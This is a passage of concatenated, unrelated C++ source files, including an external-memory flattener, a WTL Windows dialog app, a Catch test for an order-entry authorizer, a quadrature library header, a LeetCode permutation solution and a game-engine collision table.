bytesMemory = 1 * 1024 * 1024 * 1024) { if(closed) { std::cerr << "Cannot apply flattening: Flattener has been used before. [Skipping]" << std::endl; } else { flatWriter->finish(); sharpWriter->finish(); unsigned scanId = 0; while(scanId < rounds && sharpNew->size() > 0) { ++scanId; std::cout << "Scan " << scanId << ":" << std::endl; std::cout << " SharpNew: " << sharpNew->size() << std::endl; //~ std::cout << " SharpTo: " << sharpByCopyTo->size() << std::endl; //~ std::cout << " SharpFrom: " << sharpByCopyFrom.size() << std::endl; std::cout << " Flat: " << flat.size() << std::endl; std::cout << " Total: " << sharpNew->size() + flat.size() << std::endl; std::cout << " Mem Sort: " << bytesMemory << std::endl; scan(bytesMemory); } delete flatWriter; flatWriter = new vector_of_ref_writer_t(flat.end()); vector_of_ref_reader_t sharpReader(*sharpNew); for(auto f : sharpReader) *flatWriter << f; flatWriter->finish(); sharpByCopyFrom.clear(); sharpByCopyTo->clear(); sharpNew->clear(); stxxl::sort(flat.begin(), flat.end(), compare_by_copyTo, bytesMemory); flat.pop_back(); } closed = true; } decltype(flat.cbegin()) begin() { if(closed) { return flat.cbegin(); } else { std::cout << "Cannot get flattening result. Flatten has not been called yet. [Returning empty iterator]" << std::endl; return decltype(flat.cbegin())(); } } decltype(flat.cend()) end() { if(closed) { return flat.cend(); } else { std::cout << "Cannot get flattening result. Flatten has not been called yet. [Returning empty iterator]" << std::endl; return decltype(flat.cend())(); } } }; }} //ns #include "stdafx.h" #include #include #include #include "umu/shell_notify_icon.hpp" #include "umu/singleton_window.hpp" #include "resource.h" #include "aboutdlg.h" #include "blur.hpp" #include "MainDlg.h" #if defined _M_IX86 #pragma comment( \ linker, \ "/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='' language='*'\"") #elif defined _M_IA64 #pragma comment( \ linker, \ "/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='ia64' publicKeyToken='' language='*'\"") #elif defined _M_X64 #pragma comment( \ linker, \ "/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='amd64' publicKeyToken='' language='*'\"") #else #pragma comment( \ linker, \ "/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='' language='*'\"") #endif CAppModule _Module; CString g_app_id(_T("{29F65821-ABAE-450D-82A0-DBAB27DAD259}")); int Run(LPTSTR /*lpstrCmdLine*/ = nullptr, int nCmdShow = SW_SHOWDEFAULT) { CMessageLoop theLoop; _Module.AddMessageLoop(&theLoop); CMainDlg dlgMain; if (dlgMain.Create(nullptr) == nullptr) { ATLTRACE(_T("Main dialog creation failed!\n")); return 0; } dlgMain.ShowWindow(nCmdShow); int nRet = theLoop.Run(); _Module.RemoveMessageLoop(); return nRet; } int WINAPI _tWinMain(HINSTANCE hInstance, HINSTANCE /*hPrevInstance*/, LPTSTR lpstrCmdLine, int nCmdShow) { HWND prev = umu::SingletonWindow::FindPrevInstanceWindow(g_app_id); if (nullptr != prev) { PostMessage(prev, CMainDlg::WM_ACTIVATE_PREV_WINDOW, 0, 0); return 0; } if (!BlurApi::GetInstance().InitBlur()) { return -1; } HRESULT hRes = ::CoInitialize(nullptr); ATLASSERT(SUCCEEDED(hRes)); AtlInitCommonControls(ICC_BAR_CLASSES | ICC_HOTKEY_CLASS); hRes = _Module.Init(nullptr, hInstance); ATLASSERT(SUCCEEDED(hRes)); int nRet = Run(lpstrCmdLine, nCmdShow); _Module.Term(); ::CoUninitialize(); return nRet; } test/order_entry/test_authorizer.cpp // Test cases for the authorizer class. // Copyright 2019 // #define CATCH_CONFIG_MAIN #include "catch.hpp" #include "order_entry/authorizer.hpp" struct Foo { void trade( OrderEntry::OrderID order_id, OrderEntry::Quantity size, OrderEntry::Quantity leaves_size, OrderEntry::Price price, OrderEntry::Side side ) { } }; SCENARIO("initialize OrderEntry::Authorizer") { WHEN("a OrderEntry::Authorizer is initialized") { OrderEntry::Authorizer authorizer; THEN("the size (number of users) is 0") { REQUIRE(0 == authorizer.size()); } } } SCENARIO("add a new user") { GIVEN("an account authorizer and a new username and password") { OrderEntry::Authorizer authorizer; std::string username = "fooser"; std::string password = ""; std::string username_invalid = "asdfasdf"; std::string password_invalid = ""; WHEN("a new account is created") { authorizer.new_user(username, password); THEN("the size (number of users) is 1") { REQUIRE(1 == authorizer.size()); } THEN("has account is true for the username") { REQUIRE(authorizer.has_account(username)); } THEN("has account is false for another username") { REQUIRE_FALSE(authorizer.has_account(username_invalid)); } THEN("is valid is true for username and password combination") { REQUIRE(authorizer.is_valid(username, password)); } THEN("is valid is false for username and invalid password combination") { REQUIRE_FALSE(authorizer.is_valid(username, password_invalid)); } THEN("is valid is false for invalid username and password combination") { REQUIRE_FALSE(authorizer.is_valid(username_invalid, password_invalid)); } } } GIVEN("an account authorizer with an account") { OrderEntry::Authorizer authorizer; std::string username = "fooser"; std::string password = ""; authorizer.new_user(username, password); WHEN("a new account is created twice") { THEN("an exception is thrown") { REQUIRE_THROWS(authorizer.new_user(username, password)); } } } } # include # include namespace webbur { void binary_vector_next ( int n, int bvec[] ); void ccn_compute ( int n, double x[], double w[] ); void ccn_compute_np ( int n, int np, double p[], double x[], double w[] ); void ccn_compute_points ( int n, double x[] ); void ccn_compute_points_np ( int n, int np, double p[], double x[] ); void ccn_compute_weights ( int n, double w[] ); void ccn_compute_weights_np ( int n, int np, double p[], double w[] ); void chebyshev1_compute ( int order, double x[], double w[] ); void chebyshev1_compute_np ( int order, int np, double p[], double x[], double w[] ); void chebyshev1_compute_points ( int order, double x[] ); void chebyshev1_compute_points_np ( int order, int np, double p[], double x[] ); void chebyshev1_compute_weights ( int order, double w[] ); void chebyshev1_compute_weights_np ( int order, int np, double p[], double w[] ); double chebyshev1_integral ( int expon ); void chebyshev2_compute ( int order, double x[], double w[] ); void chebyshev2_compute_np ( int order, int np, double p[], double x[], double w[] ); void chebyshev2_compute_points ( int order, double x[] ); void chebyshev2_compute_points_np ( int order, int np, double p[], double x[] ); void chebyshev2_compute_weights ( int order, double w[] ); void chebyshev2_compute_weights_np ( int order, int np, double p[], double w[] ); double chebyshev2_integral ( int expon ); void clenshaw_curtis_compute ( int order, double x[], double w[] ); void clenshaw_curtis_compute_np ( int order, int np, double p[], double x[], double w[] ); void clenshaw_curtis_compute_points ( int order, double x[] ); void clenshaw_curtis_compute_points_np ( int order, int np, double p[], double x[] ); void clenshaw_curtis_compute_weights ( int order, double w[] ); void clenshaw_curtis_compute_weights_np ( int order, int np, double p[], double w[] ); void comp_next ( int n, int k, int a[], bool *more, int *h, int *t ); double cpu_time ( ); void dif_deriv ( int nd, double xd[], double yd[], int *ndp, double xdp[], double ydp[] ); void dif_shift_x ( int nd, double xd[], double yd[], double xv ); void dif_shift_zero ( int nd, double xd[], double yd[] ); void dif_to_r8poly ( int nd, double xd[], double yd[], double c[] ); void fejer2_compute ( int order, double x[], double w[] ); void fejer2_compute_np ( int order, int np, double p[], double x[], double w[] ); void fejer2_compute_points ( int order, double x[] ); void fejer2_compute_points_np ( int order, int np, double p[], double x[] ); void fejer2_compute_weights ( int order, double w[] ); void fejer2_compute_weights_np ( int order, int np, double p[], double w[] ); void gegenbauer_compute ( int order, double alpha, double x[], double w[] ); void gegenbauer_compute_np ( int order, int np, double p[], double x[], double w[] ); void gegenbauer_compute_points ( int order, double alpha, double x[] ); void gegenbauer_compute_points_np ( int order, int np, double p[], double x[] ); void gegenbauer_compute_weights ( int order, double alpha, double w[] ); void gegenbauer_compute_weights_np ( int order, int np, double p[], double w[] ); double gegenbauer_integral ( int expon, double alpha ); void gegenbauer_recur ( double *p2, double *dp2, double *p1, double x, int order, double alpha, double c[] ); void gegenbauer_root ( double *x, int order, double alpha, double *dp2, double *p1, double c[] ); void gen_hermite_compute ( int order, double alpha, double x[], double w[] ); void gen_hermite_compute_np ( int order, int np, double p[], double x[], double w[] ); void gen_hermite_compute_points ( int order, double alpha, double x[] ); void gen_hermite_compute_points_np ( int order, int np, double p[], double x[] ); void gen_hermite_compute_weights ( int order, double alpha, double w[] ); void gen_hermite_compute_weights_np ( int order, int np, double p[], double w[] ); void gen_hermite_dr_compute ( int order, double alpha, double x[], double w[] ); double gen_hermite_integral ( int expon, double alpha ); void gen_laguerre_compute ( int order, double alpha, double x[], double w[] ); void gen_laguerre_compute_np ( int order, int np, double p[], double x[], double w[] ); void gen_laguerre_compute_points ( int order, double alpha, double x[] ); void gen_laguerre_compute_points_np ( int order, int np, double p[], double x[] ); void gen_laguerre_compute_weights ( int order, double alpha, double w[] ); void gen_laguerre_compute_weights_np ( int order, int np, double p[], double w[] ); double gen_laguerre_integral ( int expon, double alpha ); void gen_laguerre_ss_compute ( int order, double alpha, double x[], double w[] ); void gen_laguerre_ss_recur ( double *p2, double *dp2, double *p1, double x, int order, double alpha, double b[], double c[] ); void gen_laguerre_ss_root ( double *x, int order, double alpha, double *dp2, double *p1, double b[], double c[] ); void hc_compute_weights_from_points ( int nhalf, double x[], double w[] ); void hcc_compute ( int n, double x[], double w[] ); void hcc_compute_np ( int n, int np, double p[], double x[], double w[] ); void hcc_compute_points ( int n, double x[] ); void hcc_compute_points_np ( int n, int np, double p[], double x[] ); void hcc_compute_weights ( int n, double w[] ); void hcc_compute_weights_np ( int n, int np, double p[], double w[] ); void hce_compute ( int n, double x[], double w[] ); void hce_compute_np ( int n, int np, double p[], double x[], double w[] ); void hce_compute_points ( int n, double x[] ); void hce_compute_points_np ( int n, int np, double p[], double x[] ); void hce_compute_weights ( int n, double w[] ); void hce_compute_weights_np ( int n, int np, double p[], double w[] ); void hermite_compute ( int order, double x[], double w[] ); void hermite_compute_np ( int order, int np, double p[], double x[], double w[] ); void hermite_compute_points ( int order, double x[] ); void hermite_compute_points_np ( int order, int np, double p[], double x[] ); void hermite_compute_weights ( int order, double w[] ); void hermite_compute_weights_np ( int order, int np, double p[], double w[] ); void hermite_genz_keister_lookup ( int n, double x[], double w[] ); void hermite_genz_keister_lookup_points ( int n, double x[] ); void hermite_genz_keister_lookup_points_np ( int n, int np, double p[], double x[] ); void hermite_genz_keister_lookup_weights ( int n, double w[] ); void hermite_genz_keister_lookup_weights_np ( int n, int np, double p[], double w[] ); void hermite_gk18_lookup_points ( int n, double x[] ); void hermite_gk22_lookup_points ( int n, double x[] ); void hermite_gk24_lookup_points ( int n, double x[] ); double hermite_integral ( int n ); void hermite_interpolant ( int n, double x[], double y[], double yp[], double xd[], double yd[], double xdp[], double ydp[] ); void hermite_interpolant_rule ( int n, double a, double b, double x[], double w[] ); void hermite_interpolant_value ( int nd, double xd[], double yd[], double xdp[], double ydp[], int nv, double xv[], double yv[], double yvp[] ); void hermite_lookup ( int n, double x[], double w[] ); void hermite_lookup_points ( int n, double x[] ); void hermite_lookup_weights ( int n, double w[] ); void hermite_ss_compute ( int order, double x[], double w[] ); void hermite_ss_recur ( double *p2, double *dp2, double *p1, double x, int order ); void hermite_ss_root ( double *x, int order, double *dp2, double *p1 ); int i4_choose ( int n, int k ); int i4_log_2 ( int i ); int i4_max ( int i1, int i2 ); int i4_min ( int i1, int i2 ); int i4_power ( int i, int j ); void i4mat_copy ( int m, int n, int a1[], int a2[] ); int *i4mat_copy_new ( int m, int n, int a1[] ); void i4mat_transpose_print ( int m, int n, int a[], std::string title ); void i4mat_transpose_print_some ( int m, int n, int a[], int ilo, int jlo, int ihi, int jhi, std::string title ); void i4mat_write ( std::string output_filename, int m, int n, int table[] ); int *i4vec_add_new ( int n, int a[], int b[] ); bool i4vec_any_lt ( int n, int a[], int b[] ); void i4vec_copy ( int n, int a1[], int a2[] ); int *i4vec_copy_new ( int n, int a1[] ); void i4vec_min_mv ( int m, int n, int u[], int v[], int w[] ); void i4vec_print ( int n, int a[], std::string title ); int i4vec_product ( int n, int a[] ); int i4vec_sum ( int n, int a[] ); void i4vec_zero ( int n, int a[] ); int *i4vec_zero_new ( int n ); void imtqlx ( int n, double d[], double e[], double z[] ); void jacobi_compute ( int order, double alpha, double beta, double x[], double w[] ); void jacobi_compute_np ( int order, int np, double p[], double x[], double w[] ); void jacobi_compute_points ( int order, double alpha, double beta, double x[] ); void jacobi_compute_points_np ( int order, int np, double p[], double x[] ); void jacobi_compute_weights ( int order, double alpha, double beta, double w[] ); void jacobi_compute_weights_np ( int order, int np, double p[], double w[] ); double jacobi_integral ( int expon, double alpha, double beta ); void jacobi_ss_compute ( int order, double alpha, double beta, double x[], double w[] ); void jacobi_ss_recur ( double *p2, double *dp2, double *p1, double x, int order, double alpha, double beta, double b[], double c[] ); void jacobi_ss_root ( double *x, int order, double alpha, double beta, double *dp2, double *p1, double b[], double c[] ); void laguerre_compute ( int n, double x[], double w[] ); void laguerre_compute_np ( int order, int np, double p[], double x[], double w[] ); void laguerre_compute_points ( int order, double x[] ); void laguerre_compute_points_np ( int order, int np, double p[], double x[] ); void laguerre_compute_weights ( int order, double w[] ); void laguerre_compute_weights_np ( int order, int np, double p[], double w[] ); double laguerre_integral ( int expon ); void laguerre_lookup ( int n, double x[], double w[] ); void laguerre_lookup_points ( int n, double x[] ); void laguerre_lookup_weights ( int n, double w[] ); void laguerre_ss_compute ( int order, double x[], double w[] ); void laguerre_ss_recur ( double *p2, double *dp2, double *p1, double x, int order, double b[], double c[] ); void laguerre_ss_root ( double *x, int order, double *dp2, double *p1, double b[], double c[] ); void legendre_compute ( int n, double x[], double w[] ); void legendre_compute_np ( int order, int np, double p[], double x[], double w[] ); void legendre_compute_points ( int order, double x[] ); void legendre_compute_points_np ( int order, int np, double p[], double x[] ); void legendre_compute_weights ( int order, double w[] ); void legendre_compute_weights_np ( int order, int np, double p[], double w[] ); void legendre_dr_compute ( int order, double x[], double w[] ); double legendre_integral ( int expon ); void legendre_lookup ( int n, double x[], double w[] ); void legendre_lookup_points ( int n, double x[] ); void legendre_lookup_weights ( int n, double w[] ); double *legendre_zeros ( int order ); // // Old style level-to-order functions. // void level_growth_to_order ( int dim_num, int level[], int rule[], int growth[], int order[] ); void level_to_order_default ( int dim_num, int level[], int rule[], int order[] ); void level_to_order_exponential ( int dim_num, int level[], int rule[], int order[] ); void level_to_order_exponential_slow ( int dim_num, int level[], int rule[], int order[] ); void level_to_order_linear ( int dim_num, int level[], int rule[], int order[] ); // // New level-to-order functions. // int level_to_order_exp_cc ( int level, int growth ); int level_to_order_exp_f2 ( int level, int growth ); int level_to_order_exp_gauss ( int level, int growth ); int level_to_order_exp_gp ( int level, int growth ); int level_to_order_exp_hgk ( int level, int growth ); int level_to_order_linear_nn ( int level, int growth ); int level_to_order_linear_wn ( int level, int growth ); void nc_compute ( int n, double x_min, double x_max, double x[], double w[] ); double *nc_compute_new ( int n, double x_min, double x_max, double x[] ); void ncc_compute_points ( int n, double x[] ); void ncc_compute_weights ( int n, double w[] ); void nco_compute_points ( int n, double x[] ); void nco_compute_weights ( int n, double w[] ); void ncoh_compute_points ( int n, double x[] ); void ncoh_compute_weights ( int n, double w[] ); void patterson_lookup ( int n, double x[], double w[] ); void patterson_lookup_points ( int n, double x[] ); void patterson_lookup_points_np ( int n, int np, double p[], double x[] ); void patterson_lookup_weights ( int n, double w[] ); void patterson_lookup_weights_np ( int n, int np, double p[], double w[] ); int point_radial_tol_unique_count ( int m, int n, double a[], double tol, int *seed ); void point_radial_tol_unique_count_inc1 ( int m, int n1, double a1[], double tol, int *seed, double z[], double r1[], int indx1[], bool unique1[], int *unique_num1 ); void point_radial_tol_unique_count_inc2 ( int m, int n1, double a1[], int n2, double a2[], double tol, double z[], double r1[], int indx1[], bool unique1[], int *unique_num2 ); int point_radial_tol_unique_index ( int m, int n, double a[], double tol, int *seed, int undx[], int xdnu[] ); void point_radial_tol_unique_index_inc1 ( int m, int n1, double a1[], double tol, int *seed, double z[], double r1[], int indx1[], bool unique1[], int *unique_num1, int undx1[], int xdnu1[] ); void point_radial_tol_unique_index_inc2 ( int m, int n1, double a1[], int n2, double a2[], double tol, double z[], double r1[], int indx1[], bool unique1[], int unique_num1, int undx1[], int xdnu1[], double r2[], int indx2[], bool unique2[], int *unique_num2, int undx2[], int xdnu2[] ); void point_radial_tol_unique_index_inc3 ( int m, int n1, double a1[], double r1[], int indx1[], bool unique1[], int unique_num1, int undx1[], int xdnu1[], int n2, double a2[], double r2[], int indx2[], bool unique2[], int unique_num2, int undx2[], int xdnu2[], int *n3, double a3[], double r3[], int indx3[], bool unique3[], int *unique_num3, int undx3[], int xdnu3[] ); void point_unique_index ( int m, int n, double a[], int unique_num, int undx[], int xdnu[] ); void product_mixed_weight ( int dim_num, int order_1d[], int order_nd, int rule[], double alpha[], double beta[], double weight_nd[] ); double r8_abs ( double x ); double r8_ceiling ( double x ); double r8_choose ( int n, int k ); double r8_epsilon ( ); double r8_factorial ( int n ); double r8_factorial2 ( int n ); double r8_floor ( double x ); double r8_gamma ( double x ); double r8_huge ( ); double r8_hyper_2f1 ( double a, double b, double c, double x ); double r8_max ( double x, double y ); double r8_min ( double x, double y ); double r8_mop ( int i ); double r8_psi ( double xx ); double r8_sign ( double x ); int r8col_compare ( int m, int n, double a[], int i, int j ); void r8col_sort_heap_a ( int m, int n, double a[] ); int *r8col_sort_heap_index_a ( int m, int n, double a[] ); int r8col_sorted_unique_count ( int m, int n, double a[], double tol ); void r8col_swap ( int m, int n, double a[], int j1, int j2 ); void r8col_tol_undex ( int x_dim, int x_num, double x_val[], int x_unique_num, double tol, int undx[], int xdnu[] ); int r8col_tol_unique_count ( int m, int n, double a[], double tol ); void r8col_undex ( int x_dim, int x_num, double x_val[], int x_unique_num, double tol, int undx[], int xdnu[] ); void r8col_unique_index ( int m, int n, double a[], double tol, int unique_index[] ); void r8mat_transpose_print ( int m, int n, double a[], std::string title ); void r8mat_transpose_print_some ( int m, int n, double a[], int ilo, int jlo, int ihi, int jhi, std::string title ); void r8mat_write ( std::string output_filename, int m, int n, double table[] ); double r8poly_ant_val ( int n, double poly_cof[], double xval ); double *r8vec_chebyshev_new ( int n, double a_first, double a_last ); int r8vec_compare ( int n, double a[], double b[] ); void r8vec_copy ( int n, double a1[], double a2[] ); double *r8vec_copy_new ( int n, double a1[] ); double r8vec_diff_norm_li ( int n, double a[], double b[] ); void r8vec_direct_product2 ( int factor_index, int factor_order, double factor_value[], int factor_num, int point_num, double w[] ); double r8vec_dot_product ( int n, double a1[], double a2[] ); double r8vec_i4vec_dot_product ( int n, double r8vec[], int i4vec[] ); void r8vec_index_sorted_range ( int n, double r[], int indx[], double r_lo, double r_hi, int *i_lo, int *i_hi ); void r8vec_indexed_heap_d ( int n, double a[], int indx[] ); int r8vec_indexed_heap_d_extract ( int *n, double a[], int indx[] ); void r8vec_indexed_heap_d_insert ( int *n, double a[], int indx[], int indx_insert ); int r8vec_indexed_heap_d_max ( int n, double a[], int indx[] ); double *r8vec_legendre_new ( int n, double a_first, double a_last ); double *r8vec_linspace_new ( int n, double a_first, double a_last ); double r8vec_min ( int n, double r8vec[] ); double r8vec_min_pos ( int n, double a[] ); void r8vec_print ( int n, double a[], std::string title ); void r8vec_scale ( double s, int n, double a[] ); void r8vec_sort_heap_index_a ( int n, double a[], int indx[] ); int *r8vec_sort_heap_index_a_new ( int n, double a[] ); void r8vec_stutter ( int n, double a[], int m, double am[] ); double r8vec_sum ( int n, double a[] ); void r8vec_uniform_01 ( int n, int *seed, double r[] ); double *r8vec_uniform_01_new ( int n, int *seed ); void r8vec_zero ( int n, double a[] ); void sort_heap_external ( int n, int *indx, int *i, int *j, int isgn ); void timestamp ( ); void vec_colex_next3 ( int dim_num, int base[], int a[], bool *more ); } Singularity0909/LeetCode // @Title: 全排列 II (Permutations II) // @Author: Singularity0909 // @Date: 2020-09-18 00:14:24 // @Runtime: 4 ms // @Memory: 7.6 MB class Solution { public: vector> permuteUnique(vector& nums) { sort(nums.begin(), nums.end()); vector> res; do res.push_back(nums); while (next_permutation(nums.begin(), nums.end())); return res; } }; /////////////////////////////////////////////////////////////////////////////// /// /// Authors: /// Copyright 2010-2017, DigiPen Institute of Technology /// /////////////////////////////////////////////////////////////////////////////// #include "Precompiled.hpp" namespace Zero { //-------------------------------------------------------------------CollisionTable const String cDefaultCollisionGroup = "DefaultGroup"; const String cDefaultCollisionTable = "DefaultCollisionTable"; ZilchDefineType(CollisionTable, builder, type) { ZeroBindDocumented(); ZeroBindTag(Tags::Physics); ZilchBindMethod(CreateRuntime); ZilchBindMethod(RuntimeClone); ZilchBindOverloadedMethod(FindFilter, (CollisionFilter* (CollisionTable::*)(CollisionGroup*, CollisionGroup*))); } CollisionTable::CollisionTable() { mAutoRegister = true; } CollisionTable::~CollisionTable() { Clear(); } void CollisionTable::Serialize(Serializer& stream) { typedef Array StrArray; if(stream.GetMode() == SerializerMode::Loading) { // Load in an array of the registered types StrArray RegisteredGroups; SerializeName(RegisteredGroups); // Register the id of each of these types for(size_t i = 0; i < RegisteredGroups.Size(); ++i) { CollisionGroup* group = CollisionGroupManager::Find(RegisteredGroups[i]); RegisterGroup(group); } } else { // Convert each registered id to its string and then add it to an array and serialize it StrArray RegisteredGroups; RegisteredGroups::range range = mRegisteredGroups.All(); for(; !range.Empty(); range.PopFront()) { CollisionGroupInstance* instance = range.Front().second; RegisteredGroups.PushBack(instance->mResource->ResourceIdName); } SerializeName(RegisteredGroups); } SerializeName(mCollisionFilters); SerializeNameDefault(mAutoRegister, true); // If loading, make sure every filter has the pointer back to this table if(stream.GetMode() == SerializerMode::Loading) { CollisionFilters::range range = mCollisionFilters.All(); for(; !range.Empty(); range.PopFront()) range.Front()->mTable = this; } } void CollisionTable::Save(StringParam filename) { ValidateFilters(); DataResource::Save(filename); } void CollisionTable::Unload() { Clear(); } HandleOf CollisionTable::CreateRuntime() { return CollisionTableManager::CreateRuntime(); } HandleOf CollisionTable::Clone() { return RuntimeClone(); } HandleOf CollisionTable::RuntimeClone() { CollisionTable* table = CollisionTableManager::CreateRuntime(); CopyTo(table); return table; } void CollisionTable::CopyTo(CollisionTable* destination) { destination->Clear(); destination->mAutoRegister = mAutoRegister; // Register each collision group that we know about for(RegisteredGroups::keyrange range = mRegisteredGroups.Keys(); !range.Empty(); range.PopFront()) { ResourceId id = range.Front(); CollisionGroup* group = CollisionGroupManager::Find(id); destination->RegisterGroup(group); } // Clone all of our collision filters for(size_t i = 0; i < mCollisionFilters.Size(); ++i) { CollisionFilter* clonedFilter = mCollisionFilters[i]->Clone(); clonedFilter->mTable = destination; destination->mCollisionFilters.PushBack(clonedFilter); } // Reconfigure the groups (and filters) of the cloned table destination->ReconfigureGroups(); } void CollisionTable::Initialize() { SetDefaults(); ReconfigureGroups(); } void CollisionTable::SetDefaults() { // Register the default group CollisionGroup* group = CollisionGroupManager::Find(cDefaultCollisionGroup); RegisterGroup(group); } void CollisionTable::LoadExistingGroups() { // If we don't auto register then we don't load existing groups if(!mAutoRegister) return; // Otherwise, go through all of the groups that exist and register them CollisionGroupManager* manager = CollisionGroupManager::GetInstance(); forRange(Resource* resource, manager->AllResources()) { CollisionGroup* group = static_cast(resource); RegisterGroup(group); } } void CollisionTable::ValidateFilters() { CollisionFilters::range range = mCollisionFilters.All(); while(!range.Empty()) { CollisionFilter& filter = *range.Front(); range.PopFront(); CollisionGroupManager* manager = CollisionGroupManager::GetInstance(); /*if(manager->GetResource(filter.TypeA) == nullptr) { ErrorIf(true, "Resource group %d from pair [%d,%d] does not exist.", filter.TypeA, filter.TypeA, filter.TypeB); mCollisionFiltersSet.Erase(filter); continue; } if(manager->GetResource(filter.TypeB) == nullptr) { ErrorIf(true, "Resource group %d from pair [%d,%d] does not exist.", filter.TypeB, filter.TypeA, filter.TypeB); mCollisionFiltersSet.Erase(filter); continue; }*/ cstr typeAName = filter.GetTypeAName().c_str(); cstr typeBName = filter.GetTypeBName().c_str(); if(mRegisteredGroups.Find(filter.TypeA).Empty()) { ErrorIf(true, "Resource group %s from pair [%s,%s] was not registered.", typeAName, typeAName, typeBName); continue; } if(mRegisteredGroups.Find(filter.TypeB).Empty()) { ErrorIf(true, "Resource group %s from pair [%s,%s] was not registered.", typeBName, typeAName, typeBName); continue; } /* if((filter.TypeA == filter.TypeB) && filter.mFilterFlags.IsSet(FilterFlags::TypeAMessages) != filter.mFilterFlags.IsSet(FilterFlags::TypeBMessages)) { String msg; msg = String::Format("Pair [%s,%s] is not consistent on TypeA and TypeB getting messages. " "Please set the flags to be equal. Continuing will automatically set the flag to true.", typeAName, typeBName); DoNotifyWarning("Invalid Configuration", msg); filter.mFilterFlags.SetFlag(FilterFlags::TypeAMessages | FilterFlags::TypeBMessages); } if(filter.mFilterFlags.IsSet(FilterFlags::TypeAMessages | FilterFlags::TypeBMessages | FilterFlags::SpaceMessages) && !filter.mFilterFlags.IsSet(FilterFlags::StartMessage | FilterFlags::EndMessage)) { String msg = String::Format("Pair [%s,%s] is marked to send messages to " "an object or the space, but it does not " "send start or end messages.", typeAName, typeBName); DoNotifyWarning("Invalid configuration", msg); } if(!filter.mFilterFlags.IsSet(FilterFlags::TypeAMessages | FilterFlags::TypeBMessages | FilterFlags::SpaceMessages) && filter.mFilterFlags.IsSet(FilterFlags::StartMessage | FilterFlags::EndMessage)) { String msg = String::Format("Pair [%s,%s] sends a start or end message, " "but is not marked to send messages to " "an object or the space.", typeAName, typeBName); DoNotifyWarning("Invalid configuration", msg); }*/ } } void CollisionTable::Clear() { // When we remove a collision table, we need to fix all of the spaces that // were pointing at it. We also need to make sure that we clean up the memory // we allocated for the instances. // If CollisionTableManager Instance is null the resource manager is // being shutdown so there's no reason to fix spaces. if(CollisionTableManager::IsValid() && Name != cDefaultCollisionTable) { // Get the default filter and fix all spaces that // were pointing at this table to use the default table CollisionTable* table = CollisionTableManager::Find(cDefaultCollisionTable); FixSpaces(table); } // It's not easy or a wise idea to iterate through a hash map while deleting, // so put all of the ids into an array then remove them safely Array ids; ids.Reserve(mRegisteredGroups.Size()); for(RegisteredGroups::range r = mRegisteredGroups.All(); !r.Empty(); r.PopFront()) ids.PushBack(r.Front().first); for(size_t i = 0; i < ids.Size(); ++i) RemoveGroupInstancesAndFilters(ids[i]); } void CollisionTable::RegisterGroup(CollisionGroup* group) { ReturnIf(mRegisteredGroups.Size() >= 31, , "Can only register 32 collision filters per space."); // Make a new instance and put it in the map under the group's id if(mRegisteredGroups.FindValue(group->mResourceId, nullptr) == nullptr) { CollisionGroupInstance* instance = group->GetNewInstance(); instance->mTable = this; mRegisteredGroups.Insert(group->mResourceId, instance); } ReconfigureGroups(); } void CollisionTable::UnRegisterGroup(CollisionGroup* group) { // Remove the instance and all filters for the given id. // Also fix the remaining group masks since a group was removed. RemoveGroupInstancesAndFilters(group->mResourceId); } CollisionGroupInstance* CollisionTable::GetGroupInstance(ResourceId groupId, RegisteredGroupInstanceAccessMode::Enum accessMode) { RegisteredGroups::range range = mRegisteredGroups.Find(groupId); // If we find the item then return it if(!range.Empty()) return range.Front().second; // We didn't find it and the user requested null in this case if(accessMode == RegisteredGroupInstanceAccessMode::ReturnNull) return nullptr; // The user wants the default resource CollisionGroup* group = CollisionGroupManager::Find(cDefaultCollisionGroup); range = mRegisteredGroups.Find(group->mResourceId); return range.Front().second; } CollisionFilter* CollisionTable::FindFilter(CollisionFilter& pair) { HashedFilters::range range = mHashedFilters.Find(&pair); if(range.Empty()) return nullptr; return range.Front(); } CollisionFilter* CollisionTable::FindFilter(CollisionGroup* groupA, CollisionGroup* groupB) { if(!groupA || !groupB) return nullptr; CollisionFilter pair(groupA->mResourceId, groupB->mResourceId); HashedFilters::range range = mHashedFilters.Find(&pair); if(range.Empty()) return nullptr; return range.Front(); } void CollisionTable::RemoveGroupInstancesAndFilters(ResourceId groupId) { // Attempt to find the collision group in the registered list RegisteredGroups::range r = mRegisteredGroups.Find(groupId); // If it wasn't found, there's no point in continuing if(r.Empty()) return; // Otherwise, remove the group (we delete at the end of the function) CollisionGroupInstance* instance = r.Front().second; mRegisteredGroups.Erase(groupId); // Make sure to remove any filter that referenced this group. // We have to iterate from the back to the front so as to not invalidate the index size_t size = mCollisionFilters.Size(); for(size_t i = size - 1; i < size; --i) { CollisionFilter* filter = mCollisionFilters[i]; if(filter->mPair.first == groupId || filter->mPair.second == groupId) { mCollisionFilters.EraseValueError(filter); delete filter; } } // Wince we changed the filters, we have to reconfigure the // remaining objects (could be done more efficiently, but shouldn't matter) ReconfigureGroups(); // Finally, we have to fix any objects that were pointing at the old group. // This could be done more efficiently, but just reset the spaces // that referenced us with a new filter of (this), which will try // to reset all groups on every collider. FixSpaces(this); // We owned the instance so now delete it // (if we deleted it earlier someone might have had a reference to it) delete instance; } void CollisionTable::ReconfigureGroups() { // Pick new group ids for each instance and then // set their old mask so they resolve with everything uint index = 0; RegisteredGroups::range registeredRange = mRegisteredGroups.All(); for(; !registeredRange.Empty(); registeredRange.PopFront()) { CollisionGroupInstance* instance = registeredRange.Front().second; instance->mGroupId = 1 << index; instance->mDetectionMask = u32(-1); instance->mResolutionMask = u32(-1); ++index; } CollisionGroupInstance* instance1; CollisionGroupInstance* instance2; // Anything that has a filter means that we need to clear the // mask bits corresponding to the pair. CollisionFilters::range range = mCollisionFilters.All(); for(; !range.Empty(); range.PopFront()) { CollisionFilter& pair = *range.Front(); // Find the group instances for this filter from the registered groups RegisteredGroups::range registered = mRegisteredGroups.Find(pair.first()); instance1 = registered.Front().second; registered = mRegisteredGroups.Find(pair.second()); instance2 = registered.Front().second; // Make sure the detection mask is set correctly if(!pair.mFilterFlags.IsSet(FilterFlags::SkipDetectingCollision)) { instance1->mDetectionMask |= instance2->mGroupId; instance2->mDetectionMask |= instance1->mGroupId; } else { instance1->mDetectionMask 